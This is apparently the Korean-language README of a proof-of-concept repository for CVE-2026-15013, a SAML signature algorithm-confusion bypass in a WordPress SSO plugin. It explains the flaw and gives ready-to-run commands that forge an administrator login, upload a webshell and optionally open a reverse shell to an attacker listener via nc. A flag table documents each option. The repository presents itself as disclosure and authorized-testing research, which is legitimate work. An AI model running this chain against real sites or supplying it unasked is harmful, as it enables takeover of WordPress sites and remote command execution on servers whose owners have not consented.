
CVE-2026-15013 익스플로잇: 알고리즘 혼동을 통한 인증되지 않은 SAML 인증 우회. SAML 응답을 위조하여 관리자 액세스 권한을 획득하고 웹쉘/리버스 셸을 배포합니다. 승인된 테스트 전용.
CVE-2026-15013에 대한 개념 증명: miniOrange SAML Single Sign On – SSO Login WordPress 플러그인(버전 5.4.3 이하)에서 SAML 서명 알고리즘 혼동(HMAC-SHA1)을 통한 인증되지 않은 인증 우회.
승인된 테스트 전용입니다. 이 코드는 귀하가 소유하거나 테스트할 명시적 허가를 받은 시스템에서만 사용하십시오. 컴퓨터 시스템에 대한 무단 접근은 불법입니다.
| 역할 | |
|---|---|
| 취약점 발견자 | lhking (CVE 기록에 기재됨) |
| CVE / CNA | Wordfence |
| 이 저장소 | 독립적인 실험실 재현 / PoC 자동화 (원본 발견이 아님) |
CVE 레코드: https://www.cve.org/CVERecord?id=CVE-2026-15013
Mo_SAML_Utilities::mo_saml_cast_key()는 공격자가 제어하는 SAMLResponse의 SignatureMethod 알고리즘을 신뢰합니다. HMAC-SHA1로 설정되면 플러그인은 IdP RSA 공개 키를 HMAC 공유 비밀로 재해석하고 이를 사용하여 서명을 확인합니다. IdP 인증서(종종 공개 메타데이터)를 읽을 수 있는 사람은 관리자를 포함한 모든 기존 WordPress 사용자에 대한 유효한 어설션을 위조할 수 있습니다.
**5.4.4+**에서 패치됨 (안전하지 않은 알고리즘 / HMAC 거부).
9.8 심각 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
openssl CLI (인증서에서 공개 키로)의존성 설치:
pip install -r requirements.txt
전체 체인 (열거, HMAC 로그인, 관리자, 웹쉘):
python3 exploit.py -u https://TARGET.example
선택적 리버스 쉘 (먼저 리스너 시작: nc -lvnp 4444):
python3 exploit.py -u https://TARGET.example --lhost YOUR_IP --lport 4444
로그인만 (셸 없음):
python3 exploit.py -u https://TARGET.example --no-shell
수동 재정의:
python3 exploit.py -u https://TARGET.example \
--issuer https://idp.example/realms/xxx \
--nameid admin \
-k ./idp-pubkey.pem
exp/shell.php?c=id)--lhost를 통한 선택적 리버스 쉘이 프로젝트는 교육 및 승인된 보안 연구 전용입니다. 작성자와 기여자는 오용에 대한 책임을 지지 않습니다. 타사 시스템을 테스트하기 전에 항상 서면 허가를 받으십시오. 원본 취약점은 책임 있는 공개를 통해 보고되었습니다. 이 저장소는 학습 및 방어 검증을 위한 재현만을 보여줍니다.
연구용. 보증하지 않음.
| Flag | 설명 |
|---|
-u, --url | WordPress 기본 URL (필수) |
-k, --hmac-key | PEM 공개 키 또는 인증서 파일; 비어 있으면 IdP 메타데이터에서 가져옴 |
--issuer | IdP 발급자 재정의 |
--acs | ACS URL 재정의 |
--nameid | 단일 WordPress 사용자 이름 강제 |
--lhost / --lport | 리버스 쉘 콜백 (기본 포트 4444) |
--no-shell | 관리자 세션 후 중지 |
--no-reverse | 셸 업로드하지만 리버스 트리거하지 않음 |